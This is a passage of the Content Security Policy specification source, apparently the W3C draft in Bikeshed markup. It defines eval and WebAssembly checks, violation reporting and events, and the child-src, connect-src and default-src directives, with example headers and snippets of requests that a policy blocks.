which is an [=ASCII case-insensitive=] match for the\n              string \"<a grammar>`'unsafe-eval'`</a>\", then skip the following steps.\n\n          1.  Let |violation| be the result of executing [[#create-violation-for-global]] on\n              |global|, |policy|, and \"`script-src`\".\n\n          2.  Set |violation|'s [=violation/resource=] to \"`eval`\".\n\n          3.  If |source-list| [=list/contains=] the expression\n              \"<a grammar>`'report-sample'`</a>\", then set |violation|'s [=violation/sample=] to\n              the substring of |sourceString| containing its first 40 characters.\n\n          4.  Execute [[#report-violation]] on |violation|.\n\n          5.  If |policy|'s [=content security policy object/disposition=] is \"`enforce`\", then set |result| to\n              \"`Blocked`\".\n\n  4.  If |result| is \"`Blocked`\", throw an `EvalError` exception.\n\n<h3 id=\"wasm-integration\">Integration with WebAssembly</h3>\n\nWebAssembly defines the {{HostEnsureCanCompileWasmBytes()}} abstract operation\nwhich allows the host environment to block the compilation of WebAssembly\nsources into executable code. This document defines an implementation of this\nabstract operation which examines the relevant <a for=\"global object\">CSP\nlist</a> to determine whether such compilation ought to be blocked.\n\n<h4 id=\"can-compile-wasm-bytes\" algorithm dfn>\n  EnsureCSPDoesNotBlockWasmByteCompilation|realm|\n</h4>\n\nGiven a <a>realm</a> |realm|,\nthis algorithm returns normally if compilation is allowed, and throws a\n{{WebAssembly.CompileError}} if not:\n\n1.  Let |global| be |realm|'s [=realm/global object=].\n\n2.  Let |result| be \"`Allowed`\".\n\n3.  <a for=list>For each</a> |policy| of |global|'s [=global object/CSP list=]'s\n    [=CSP list/policies=]:\n\n    1.  Let |source-list| be null.\n\n    2.  If |policy| contains a [=directive=] whose [=directive/name=] is \"`script-src`\", then\n        set |source-list| to that [=directive=]'s [=directive/value=].\n\n        Otherwise if |policy| contains a [=directive=] whose [=directive/name=] is\n        \"`default-src`\", then set |source-list| to that directive's [=directive/value=].\n\n    3.  If |source-list| is non-null, and does not contain a [=source\n        expression=] which is an [=ASCII case-insensitive=] match for the\n        string \"<a grammar>`'unsafe-eval'`</a>\", and does not contain a\n        [=source expression=] which is an [=ASCII case-insensitive=] match\n        for the string \"<a grammar>`'wasm-unsafe-eval'`</a>\", then:\n\n        1.  Let |violation| be the result of executing [[#create-violation-for-global]] on\n            |global|, |policy|, and \"`script-src`\".\n\n        2.  Set |violation|'s [=violation/resource=] to \"`wasm-eval`\".\n\n        3.  Execute [[#report-violation]] on |violation|.\n\n        4.  If |policy|'s [=content security policy object/disposition=] is \"`enforce`\", then set |result| to\n            \"`Blocked`\".\n\n4.  If |result| is \"`Blocked`\", throw a {{WebAssembly.CompileError}} exception.\n\n</section>\n\n<!-- Big Text: Reporting -->\n<section>\n  <h2 id=\"reporting\">\n    Reporting\n  </h2>\n\n  When one or more of a <a for=\"/\">policy</a>'s directives is violated,\n  a <dfn export>csp violation report</dfn> may be generated and sent out to a\n  reporting endpoint associated with the <a for=\"/\">policy</a>.\n\n  <p><a>csp violation reports</a> have the <a>report type</a>\n  \"csp-violation\".</p>\n\n  <p><a>csp violation reports</a> are <a>visible to\n  <code>ReportingObserver</code>s</a>.\n\n  <pre class=\"idl\">\n    dictionary CSPViolationReportBody : ReportBody {\n      USVString documentURL;\n      USVString? referrer;\n      USVString? blockedURL;\n      DOMString effectiveDirective;\n      DOMString originalPolicy;\n      USVString? sourceFile;\n      DOMString? sample;\n      SecurityPolicyViolationEventDisposition disposition;\n      unsigned short statusCode;\n      unsigned long? lineNumber;\n      unsigned long? columnNumber;\n    };\n  </pre>\n\n  When a directive that impacts [=script-like=] [=request/destinations=] has a `report-sha256`,\n  `report-sha384` or `report-sha512` value, and a [=/request=] with a [=script-like=]\n  [=request/destination=] is fetched, a <dfn export>csp hash report</dfn> will be generated and\n  sent out to a reporting endpoint associated with the <a for=\"/\">policy</a>.\n\n  <p><a>csp hash reports</a> have the <a>report type</a> \"csp-hash\".</p>\n\n  <p><a>csp hash reports</a> are not <a>visible to <code>ReportingObserver</code>s</a>.\n\n  <p>A <dfn>csp hash report body</dfn> is a [=struct=] with the following fields:\n      <dfn for=\"csp hash report body\">documentURL</dfn>,\n      <dfn for=\"csp hash report body\">subresourceURL</dfn>,\n      <dfn for=\"csp hash report body\">hash</dfn>,\n      <dfn for=\"csp hash report body\">destination</dfn>,\n      <dfn for=\"csp hash report body\">type</dfn>.\n\n  <div class=\"example\">\n  When a document's response contains the headers:\n```http\nReporting-Endpoints: hashes-endpoint=\"https://example.com/reports\"\nContent-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint\n```\n  and the document loads the script \"main.js\", a report similar to the following one will be sent:\n```http\nPOST /reports HTTP/1.1\nHost: example.com\n...\nContent-Type: application/reports+json\n\n[{\n  \"type\": \"csp-hash\",\n  \"age\": 12,\n  \"url\": \"https://example.com/\",\n  \"user_agent\": \"Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0\",\n  \"body\": {\n    \"document_url\": \"https://example.com/\",\n    \"subresource_url\": \"https://example.com/main.js\",\n    \"hash\": \"sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281\",\n    \"type\": \"subresource\",\n    \"destination\": \"script\"\n  }\n}]\n```\n  </div>\n  <h3 id=\"violation-events\">\n    Violation DOM Events\n  </h3>\n\n  <pre class=\"idl\">\n    enum SecurityPolicyViolationEventDisposition {\n      \"enforce\", \"report\"\n    };\n\n    [Exposed=(Window,Worker)]\n    interface SecurityPolicyViolationEvent : Event {\n        constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});\n        readonly    attribute USVString      documentURI;\n        readonly    attribute USVString      referrer;\n        readonly    attribute USVString      blockedURI;\n        readonly    attribute DOMString      effectiveDirective;\n        readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective\n        readonly    attribute DOMString      originalPolicy;\n        readonly    attribute USVString      sourceFile;\n        readonly    attribute DOMString      sample;\n        readonly    attribute SecurityPolicyViolationEventDisposition      disposition;\n        readonly    attribute unsigned short statusCode;\n        readonly    attribute unsigned long  lineNumber;\n        readonly    attribute unsigned long  columnNumber;\n    };\n\n    dictionary SecurityPolicyViolationEventInit : EventInit {\n        USVString      documentURI = \"\";\n        USVString      referrer = \"\";\n        USVString      blockedURI = \"\";\n        DOMString      violatedDirective = \"\";\n        DOMString      effectiveDirective = \"\";\n        DOMString      originalPolicy = \"\";\n        USVString      sourceFile = \"\";\n        DOMString      sample = \"\";\n        SecurityPolicyViolationEventDisposition disposition = \"enforce\";\n        unsigned short statusCode = 0;\n        unsigned long  lineNumber = 0;\n        unsigned long  columnNumber = 0;\n    };\n  </pre>\n\n  <h3 id=\"obtain-violation-blocked-uri\" algorithm>\n    Obtain the {{SecurityPolicyViolationEvent/blockedURI}} of a violation's |resource|\n  </h3>\n\n  Given a violation's <a for=violation>resource</a> |resource|, this algorithm returns a\n  [=string=], to be used as the blocked URI field for violation reports.\n\n  1. Assert: |resource| is a [=/URL=] or a [=string=].\n\n  2. If |resource| is a [=/URL=], return the result of executing [[#strip-url-for-use-in-reports]] on\n     |resource|.\n\n  3. Return |resource|.\n\n  <h3 id=\"deprecated-serialize-violation\">\n    Obtain the deprecated serialization of |violation|\n  </h3>\n\n  Given a <a>violation</a> |violation|, this algorithm returns a JSON text\n  string representation of the violation, suitable for submission to a reporting\n  endpoint associated with the deprecated <a>`report-uri`</a> directive.\n\n  1.  Let |body| be a <a lt=\"ordered map\">map</a> with its keys initialized as\n      follows:\n\n      :   \"`document-uri`\"\n      ::  The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s\n          <a for=\"violation\">url</a>.\n      :   \"`referrer`\"\n      ::  The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s\n          <a for=\"violation\">referrer</a>.\n      :   \"`blocked-uri`\"\n      ::  The result of executing [[#obtain-violation-blocked-uri]] on |violation|'s\n          <a for=\"violation\">resource</a>.\n      :   \"`effective-directive`\"\n      ::  |violation|'s <a for=\"violation\">effective directive</a>\n      :   \"`violated-directive`\"\n      ::  |violation|'s <a for=\"violation\">effective directive</a>\n      :   \"`original-policy`\"\n      ::  The <a lt=\"serialized CSP\">serialization</a> of |violation|'s\n          <a for=\"violation\">policy</a>\n      :   \"`disposition`\"\n      ::  The <a for=\"content security policy object\">disposition</a> of |violation|'s\n          <a for=\"violation\">policy</a>\n      :   \"`status-code`\"\n      ::  |violation|'s <a for=\"violation\">status</a>\n      :   \"`script-sample`\"\n      ::  |violation|'s <a for=\"violation\">sample</a>\n\n          Note: The name `script-sample` was chosen for compatibility with an earlier iteration of\n          this feature which has shipped in Firefox since its initial implementation of CSP. Despite\n          the name, this field will contain samples for non-script violations, like stylesheets. The\n          data contained in a {{SecurityPolicyViolationEvent}} object, and in reports generated via\n          the new <a>`report-to`</a> directive, is named in a more encompassing fashion:\n          {{SecurityPolicyViolationEvent/sample}}.\n\n  2.  If |violation|'s <a for=\"violation\">source file</a> is not null:\n\n      1.  Set |body|[\"`source-file`'] to the result of executing [[#strip-url-for-use-in-reports]]\n          on |violation|'s <a for=\"violation\">source file</a>.\n\n      2.  Set |body|[\"`line-number`\"] to |violation|'s\n          <a for=\"violation\">line number</a>.\n\n      3.  Set |body|[\"`column-number`\"] to |violation|'s\n          <a for=\"violation\">column number</a>.\n\n  3.  Assert: If |body|[\"`blocked-uri`\"] is not \"`inline`\", then |body|[\"`sample`\"]\n      is the empty string.\n\n  4.  Return the result of <a>serialize an infra value to JSON bytes</a> given\n      «[ \"csp-report\" → body ]».\n\n  <h3 id=\"strip-url-for-use-in-reports\" algorithm>Strip URL for use in reports</h3>\n  Given a [=/URL=] |url|, this algorithm returns a string representing the URL for use in violation\n  reports:\n\n  1. If |url|'s <a for=\"url\">scheme</a> is not an <a>HTTP(S) scheme</a>,\n     then return |url|'s <a for=\"url\">scheme</a>.\n\n  2. Set |url|’s <a for=\"url\">fragment</a> to the empty string.\n\n  3. Set |url|’s <a for=\"url\">username</a> to the empty string.\n\n  4. Set |url|’s <a for=\"url\">password</a> to the empty string.\n\n  5. Return the result of executing the <a>URL serializer</a> on |url|.\n\n  <h3 id=\"report-violation\" algorithm>\n    Report a |violation|\n  </h3>\n\n  Given a <a>violation</a> |violation|, this algorithm reports it to the endpoint specified in\n  |violation|'s <a for=\"violation\">policy</a>, and fires a {{SecurityPolicyViolationEvent}} at\n  |violation|'s [=violation/element=], or at |violation|'s <a for=\"violation\">global object</a>\n  as described below:\n\n  1.  Let |global| be |violation|'s <a for=\"violation\">global object</a>.\n\n  2.  Let |target| be |violation|'s <a for=\"violation\">element</a>.\n\n  3.  <a>Queue a task</a> to run the following steps:\n\n      Note: We \"queue a task\" here to ensure that the event targeting and dispatch\n      happens after JavaScript completes execution of the task responsible for a\n      given violation (which might manipulate the DOM).\n\n      1.  If |target| is not null, and |global| is a {{Window}}, and |target|'s\n          <a>shadow-including root</a> is not |global|'s <a>associated\n          `Document`</a>, set |target| to null.\n\n          Note: This ensures that we fire events only at elements <a>connected</a>\n          to |violation|'s <a for=\"violation\">policy</a>'s {{Document}}. If a\n          violation is caused by an element which isn't connected to that\n          document, we'll fire the event at the document rather than the element\n          in order to ensure that the violation is visible to the document's\n          listeners.\n\n      2.  If |target| is null:\n\n          1.  Set |target| to |violation|'s <a for=\"violation\">global object</a>.\n\n          2.  If |target| is a {{Window}}, set |target| to |target|'s <a>associated\n              `Document`</a>.\n\n      3.  If |target| [=implements=] {{EventTarget}}, <a>fire an event</a> named\n          <dfn event for=\"GlobalEventHandlers,WorkerGlobalScope\">securitypolicyviolation</dfn> that uses the {{SecurityPolicyViolationEvent}}\n          interface at |target| with its attributes initialized as follows:\n\n          :  {{SecurityPolicyViolationEvent/documentURI}}\n          ::  The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s\n              <a for=\"violation\">url</a>.\n          :  {{SecurityPolicyViolationEvent/referrer}}\n          ::  The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s\n              <a for=\"violation\">referrer</a>.\n          :  {{SecurityPolicyViolationEvent/blockedURI}}\n          ::  The result of executing [[#obtain-violation-blocked-uri]] on |violation|'s\n              <a for=\"violation\">resource</a>.\n          :  {{SecurityPolicyViolationEvent/effectiveDirective}}\n          :: |violation|'s <a for=\"violation\">effective directive</a>\n          :  {{SecurityPolicyViolationEvent/violatedDirective}}\n          :: |violation|'s <a for=\"violation\">effective directive</a>\n          :  {{SecurityPolicyViolationEvent/originalPolicy}}\n          ::  The <a lt=\"serialized CSP\">serialization</a> of |violation|'s\n              <a for=\"violation\">policy</a>\n          :  {{SecurityPolicyViolationEvent/disposition}}\n          :: |violation|'s <a for=\"violation\">disposition</a>\n          :  {{SecurityPolicyViolationEvent/sourceFile}}\n          ::  The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s\n              <a for=\"violation\">source file</a>, if |violation|'s\n              <a for=\"violation\">source file</a> is not null, or null otherwise.\n          :  {{SecurityPolicyViolationEvent/statusCode}}\n          :: |violation|'s <a for=\"violation\">status</a>\n          :  {{SecurityPolicyViolationEvent/lineNumber}}\n          :: |violation|'s <a for=\"violation\">line number</a>\n          :  {{SecurityPolicyViolationEvent/columnNumber}}\n          :: |violation|'s <a for=\"violation\">column number</a>\n          :  {{SecurityPolicyViolationEvent/sample}}\n          :: |violation|'s <a for=\"violation\">sample</a>\n          :  {{Event/bubbles}}\n          :: `true`\n          :  {{Event/composed}}\n          :: `true`\n\n          Note: We set the {{Event/composed}} attribute, which means that this event\n          can be captured on its way into, and will bubble its way out of a shadow\n          tree. {{Event/target}}, et al will be automagically scoped correctly for\n          the main tree.\n\n          Note: Both {{SecurityPolicyViolationEvent/effectiveDirective}} and\n          {{SecurityPolicyViolationEvent/violatedDirective}} are the same value.\n          This is intentional to maintain backwards compatibility.\n\n      4.  If |violation|'s <a for=\"violation\">policy</a>'s <a for=\"content security policy object\">directive\n          set</a> contains a <a>directive</a> named \"<a>`report-uri`</a>\"\n          |directive|:\n\n          1.  If |violation|'s <a for=\"violation\">policy</a>'s\n              <a for=\"content security policy object\">directive set</a> contains a <a>directive</a> named\n              \"<a>`report-to`</a>\", skip the remaining substeps.\n\n          2.  <a for=set>For each</a> |token| of |directive|'s\n              <a for=\"directive\">value</a>:\n\n              1.  Let |endpoint| be the result of executing the <a>URL parser</a>\n                  with |token| as the input, and |violation|'s\n                  <a for=\"violation\">url</a> as the <a>base URL</a>.\n\n              2.  If |endpoint| is not a valid URL, skip the remaining substeps.\n\n              3.  Let |request| be a new <a for=\"/\">request</a>, initialized as follows:\n\n                  :   <a for=\"request\">method</a>\n                  ::  \"`POST`\"\n                  :   <a for=\"request\">url</a>\n                  ::  |endpoint|\n                  :   <a for=\"request\">origin</a>\n                  ::  |violation|'s <a for=\"violation\">global object</a>'s <a>relevant settings\n                      object</a>'s <a for=\"environment settings object\">origin</a>\n                  :   <a for=\"request\">traversable for user prompts</a>\n                  ::  \"`no-traversable`\"\n                  :   <a for=\"request\">client</a>\n                  ::  |violation|'s <a for=\"violation\">global object</a>'s <a>relevant\n                      settings object</a>\n                  :   <a for=\"request\">destination</a>\n                  ::  \"`report`\"\n                  :   <a for=\"request\">initiator</a>\n                  ::  \"\"\n                  :   <a for=\"request\">credentials mode</a>\n                  ::  \"`same-origin`\"\n                  :   <a for=\"request\">keepalive</a>\n                  ::  \"`true`\"\n                  :   <a for=\"request\">header list</a>\n                  ::  A header list containing a single header whose name is\n                      \"`Content-Type`\", and value is \"`application/csp-report`\"\n                  :   <a for=\"request\">body</a>\n                  ::  The result of executing [[#deprecated-serialize-violation]] on\n                      |violation|\n                  :   <a for=\"request\">redirect mode</a>\n                  ::  \"`error`\"\n\n                  Note: |request|'s <a for=\"request\">mode</a> defaults to \"`no-cors`\"; the response is ignored entirely.\n\n              4.  <a for=\"/\">Fetch</a> |request|. The result will be ignored.\n\n          Note: All of this should be considered deprecated. It sends a single\n          request per violation, which simply isn't scalable. As soon as this\n          behavior can be removed from user agents, it will be.\n\n          Note: `report-uri` only takes effect if `report-to` is not present. That\n          is, the latter overrides the former, allowing for backwards compatibility\n          with browsers that don't support the new mechanism.\n\n      5.  If |violation|'s <a for=\"violation\">policy</a>'s <a for=\"content security policy object\">directive\n          set</a> contains a <a>directive</a> named \"<a>`report-to`</a>\"\n          |directive|:\n\n          1.  Let |body| be a new {{CSPViolationReportBody}}, initialized as\n              follows:\n\n              :   {{CSPViolationReportBody/documentURL}}\n              ::  The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s\n                  <a for=\"violation\">url</a>.\n\n              :   {{CSPViolationReportBody/referrer}}\n              ::  The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s\n                  <a for=\"violation\">referrer</a>.\n\n              :   {{CSPViolationReportBody/blockedURL}}\n              ::  The result of executing [[#obtain-violation-blocked-uri]] on |violation|'s\n                  <a for=\"violation\">resource</a>.\n\n              :   {{CSPViolationReportBody/effectiveDirective}}\n              ::  |violation|'s <a for=\"violation\">effective directive</a>.\n\n              :   {{CSPViolationReportBody/originalPolicy}}\n              ::  The <a lt=\"serialized CSP\">serialization</a> of |violation|'s\n                  <a for=\"violation\">policy</a>.\n\n              :   {{CSPViolationReportBody/sourceFile}}\n              ::  The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s\n                  <a for=\"violation\">source file</a>, if |violation|'s\n                  <a for=\"violation\">source file</a> is not null, or null otherwise.\n\n              :   {{CSPViolationReportBody/sample}}\n              ::  |violation|'s <a for=\"violation\">sample</a>.\n\n              :   {{CSPViolationReportBody/disposition}}\n              ::  |violation|'s <a for=\"violation\">disposition</a>.\n\n              :   {{CSPViolationReportBody/statusCode}}\n              ::  |violation|'s <a for=\"violation\">status</a>.\n\n              :   {{CSPViolationReportBody/lineNumber}}\n              ::  |violation|'s <a for=\"violation\">line number</a>, if\n                  |violation|'s <a for=\"violation\">source file</a> is not null,\n                  or null otherwise.\n\n              :   {{CSPViolationReportBody/columnNumber}}\n              ::  |violation|'s <a for=\"violation\">column number</a>, if\n                  |violation|'s <a for=\"violation\">source file</a> is not null,\n                  or null otherwise.\n\n          2.  Let |settings object| be |violation|'s <a for=\"violation\">global\n              object</a>'s <a>relevant settings object</a>.\n\n          3.  [=Generate and queue a report=] with the following arguments:\n\n              :   <var ignore>context</var>\n              ::  |settings object|\n              :   <var ignore>type</var>\n              ::  \"csp-violation\"\n              :   <var ignore>destination</var>\n              ::  |directive|'s <a for=\"directive\">value</a>.\n              :   <var ignore>data</var>\n              ::  |body|\n</section>\n\n<!-- Big Text: Directives -->\n<section>\n  <h2 id=\"csp-directives\">\n    Content Security Policy Directives\n  </h2>\n\n  This specification defines a number of types of <a>directives</a> which allow\n  developers to control certain aspects of their sites' behavior. This document\n  defines directives which govern resource fetching (in [[#directives-fetch]]),\n  directives which govern the state of a document (in [[#directives-document]]),\n  directives which govern aspects of navigation (in [[#directives-navigation]]),\n  and directives which govern reporting (in [[#directives-reporting]]). These\n  form the core of Content Security Policy; other directives are defined in a\n  modular fashion in ancillary documents (see [[#directives-elsewhere]] for\n  examples).\n\n  To mitigate the risk of cross-site scripting attacks, web developers SHOULD\n  include directives that regulate sources of script and plugins. They can do\n  so by including:\n\n  *   Both the <a>script-src</a> and <a>object-src</a> directives, or\n  *   a <a>default-src</a> directive\n\n  In either case, developers SHOULD NOT include either\n  <a grammar>`'unsafe-inline'`</a>, or `data:` as valid\n  sources in their policies. Both enable XSS attacks by allowing code to be\n  included directly in the document itself; they are best avoided completely.\n\n  <h3 id=\"directives-fetch\">\n    Fetch Directives\n  </h3>\n\n  <dfn export>Fetch directives</dfn> control the locations from which certain resource\n  types may be loaded. For instance, <a>script-src</a> allows developers to allow\n  trusted sources of script to execute on a page, while <a>font-src</a> controls the\n  sources of web fonts.\n\n  <h4 id=\"directive-child-src\">`child-src`</h4>\n\n  The <dfn export>`child-src`</dfn> directive governs the creation of <a>child\n  navigables</a> (e.g. <{iframe}> and <{frame}> navigations) and Worker execution\n  contexts. The syntax for the directive's name and value is described by the\n  following ABNF:\n\n  <pre>\n    directive-name  = \"child-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  This directive controls <a for=\"/\">requests</a> which will populate a frame or a\n  worker. More formally, <a for=\"/\">requests</a> falling into one of the\n  following categories:\n\n  *  <a for=\"request\">destination</a> is \"`frame`\", \"`iframe`\", \"`object`\", or \"`embed`\".\n\n  *  <a for=\"request\">destination</a> is either \"`serviceworker`\",\n     \"`sharedworker`\", or \"`worker`\" (which are fed to the <a>run a worker</a>\n     algorithm for {{ServiceWorker}}, {{SharedWorker}}, and {{Worker}},\n     respectively).\n\n  <div class=\"example\">\n    Given a page with the following Content Security Policy:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>child-src</a> https://example.com/\n    </pre>\n\n    Fetches for the following code will all return network errors, as the URLs\n    provided do not match `child-src`'s <a>source list</a>:\n\n    <pre highlight=\"html\">\n      &lt;iframe src=\"https://example.org\"&gt;&lt;/iframe&gt;\n      &lt;script&gt;\n        var blockedWorker = new Worker(\"data:application/javascript,...\");\n      &lt;/script&gt;\n    </pre>\n  </div>\n\n  <h5 algorithm id=\"child-src-pre-request\">\n    `child-src` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing\n      [[#effective-directive-for-a-request]] on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `child-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  Return the result of executing the <a for=\"directive\">pre-request\n      check</a> for the <a>directive</a> whose <a for=\"directive\">name</a> is\n      |name| on |request|, |policy|, and |self-origin| using this directive's <a\n      for=\"directive\">value</a> for the comparison.\n\n  <h5 algorithm id=\"child-src-post-request\">\n    `child-src` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing\n      [[#effective-directive-for-a-request]] on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `child-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  Return the result of executing the <a for=\"directive\">post-request\n      check</a> for the <a>directive</a> whose <a for=\"directive\">name</a> is\n      |name| on |request|, |response|, |policy|, and |self-origin|, using this\n      directive's <a for=\"directive\">value</a> for the comparison.\n\n  <h4 id=\"directive-connect-src\">`connect-src`</h4>\n\n  The <dfn export>connect-src</dfn> directive restricts the URLs which can be loaded\n  using script interfaces. The syntax for the directive's name and value is\n  described by the following ABNF:\n\n  <pre>\n    directive-name  = \"connect-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  This directive controls <a for=\"/\">requests</a> which transmit or receive data from\n  other origins. This includes APIs like `fetch()`, [[XHR]], [[EVENTSOURCE]],\n  [[BEACON]], and <{a}>'s <{a/ping}>. This directive <em>also</em> controls\n  WebSocket [[WEBSOCKETS]] connections, though those aren't technically part\n  of Fetch.\n\n  <div class=\"example\">\n    JavaScript offers a few mechanisms that directly connect to an external\n    server to send or receive information. `EventSource` maintains an open\n    HTTP connection to a server in order to receive push notifications,\n    `WebSockets` open a bidirectional communication channel between your\n    browser and a server, and `XMLHttpRequest` makes arbitrary HTTP requests\n    on your behalf. These are powerful APIs that enable useful functionality,\n    but also provide tempting avenues for data exfiltration.\n\n    The `connect-src` directive allows you to ensure that these and similar\n    sorts of connections are only opened to origins you trust. Sending a\n    policy that defines a list of source expressions for this directive is\n    straightforward. For example, to limit connections to only\n    `https://example.com`, send the following header:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>connect-src</a> https://example.com/\n    </pre>\n\n    Fetches for the following code will all return network errors, as the URLs\n    provided do not match `connect-src`'s <a>source list</a>:\n\n    <pre highlight=\"html\">\n      &lt;a ping=\"https://example.org\"&gt;...\n      &lt;script&gt;\n        var xhr = new XMLHttpRequest();\n        xhr.open('GET', 'https://example.org/');\n        xhr.send();\n\n        var ws = new WebSocket(\"wss://example.org/\");\n\n        var es = new EventSource(\"https://example.org/\");\n\n        navigator.sendBeacon(\"https://example.org/\", { ... });\n      &lt;/script&gt;\n    </pre>\n  </div>\n\n\n  <h5 algorithm id=\"connect-src-pre-request\">\n    `connect-src` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing\n      [[#effective-directive-for-a-request]] on |request|.\n\n  1.  If the result of executing [[#should-directive-execute]] on |name|,\n      `connect-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  1.  Let |source list| be directive's <a for=\"directive\">value</a>.\n\n  1.  If |request|'s [=request/mode=] is \"`webtransport`\" and |request|'s\n      <a for=\"request\">WebTransport-hash list</a> [=list/is not empty=]:\n\n      1. If |source list| [=list/contains=] a <a>source expression</a>\n         which is an <a>ASCII case-insensitive</a> match for the\n         <a grammar>`keyword-source`</a>\n         \"<a grammar>`'unsafe-webtransport-hashes'`</a>\", return \"`Allowed`\".\n\n      1.  Return \"`Blocked`\".\n\n  1.  If the result of executing [[#match-request-to-source-list]] on |request|,\n      |source list|, and |self-origin|, is \"`Matches`\", return\n      \"`Allowed`\".\n\n  1.  Return \"`Blocked`\".\n\n  <h5 algorithm id=\"connect-src-post-request\">\n    `connect-src` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing\n      [[#effective-directive-for-a-request]] on |request|.\n\n  1.  If the result of executing [[#should-directive-execute]] on |name|,\n      `connect-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  1.  Let |source list| be directive's <a for=\"directive\">value</a>.\n\n  1.  If |request|'s [=request/mode=] is \"`webtransport`\" and |request|'s\n      <a for=\"request\">WebTransport-hash list</a> [=list/is not empty=]:\n\n      1. If |source list| [=list/contains=] a <a>source expression</a>\n         which is an <a>ASCII case-insensitive</a> match for the\n         <a grammar>`keyword-source`</a>\n         \"<a grammar>`'unsafe-webtransport-hashes'`</a>\", return \"`Allowed`\".\n\n      1.  Return \"`Blocked`\".\n\n  1.  If the result of executing [[#match-response-to-source-list]] on\n      |response|, |request|, |source list|, and |self-origin|, is\n      \"`Matches`\", return \"`Allowed`\".\n\n  1.  Return \"`Blocked`\".\n\n  <h4 id=\"directive-default-src\">`default-src`</h4>\n\n  The <dfn export>default-src</dfn> directive serves as a fallback for the other\n  <a>fetch directives</a>. The syntax for the directive's name and value is described by\n  the following ABNF:\n\n  <pre>\n    directive-name  = \"default-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  If a <a>default-src</a> directive is present in a policy, its value will be\n  used as the policy's default source list. That is, given `default-src 'none';\n  script-src 'self'`, script requests will use `'self'` as the <a>source\n  list</a> to match against. Other requests will use `'none'`. This is spelled\n  out in more detail in the [[#should-block-request]] and\n  [[#should-block-response]] algorithms.\n\n  <div class=\"note\">\n  Resource hints such as <{link/rel/prefetch}> and <{link/rel/preconnect}> generate requests that\n  aren't tied to any specific [=fetch directive=], but are instead governed by the union of servers\n  allowed in all of a policy's directives' [=source lists=]. If <a>default-src</a> is not specified, these\n  requests will always be allowed. For more information, see [[#exfiltration]]. [[!HTML]]\n  </div>\n\n\n  <div class=\"example\">\n    The following header:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>default-src</a> <a grammar>'self'</a>\n    </pre>\n\n    will have the same behavior as the following header:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>connect-src</a> <a grammar>'self'</a>;\n                               <a>font-src</a> <a grammar>'self'</a>;\n                               <a>frame-src</a> <a grammar>'self'</a>;\n                               <a>img-src</a> <a grammar>'self'</a>;\n                               <a>manifest-src</a> <a grammar>'self'</a>;\n                               <a>media-src</a> <a grammar>'self'</a>;\n                               <a>object-src</a> <a grammar>'self'</a>;\n                               <a>script-src-elem</a> <a grammar>'self'</a>;\n                               <a>script-src-attr</a> <a grammar>'self'</a>;\n                               <a>style-src-elem</a> <a grammar>'self'</a>;\n                               <a>style-src-attr</a> <a grammar>'self'</a>;\n                               <a>worker-src</a> <a grammar>'self'</a>\n    </pre>\n\n    That is, when `default-src` is set, every <a>fetch directive</a> that isn't\n    explicitly set will fall back to the value `default-src` specifies.\n  </div>\n  <div class=\"example\">\n    There is no inheritance. If a `script-src` directive is explicitly\n    specified, for example, then the value of `default-src` has no influence on\n    script requests. That is, the following header:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>default-src</a> <a grammar>'self'</a>; <a>script-src-elem</a> https://example.com\n    </pre>\n\n    will have the same behavior as the following header:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>connect-src</a> <a grammar>'self'</a>;\n                               <a>font-src</a> <a grammar>'self'</a>;\n                               <a>frame-src</a> <a grammar>'self'</a>;\n                               <a>img-src</a> <a grammar>'self'</a>;\n                               <a>manifest-src</a> <a grammar>'self'</a>;\n                               <a>media-src</a> <a grammar>'self'</a>;\n                               <a>object-src</a> <a grammar>'self'</a>;\n                               <a>script-src-elem</a> https://example.com;\n                               <a>script-src-attr</a> <a grammar>'self'</a>;\n                               <a>style-src-elem</a> <a grammar>'self'</a>;\n                               <a>style-src-attr</a> <a grammar>'self'</a>;\n                               <a>worker-src</a> <a 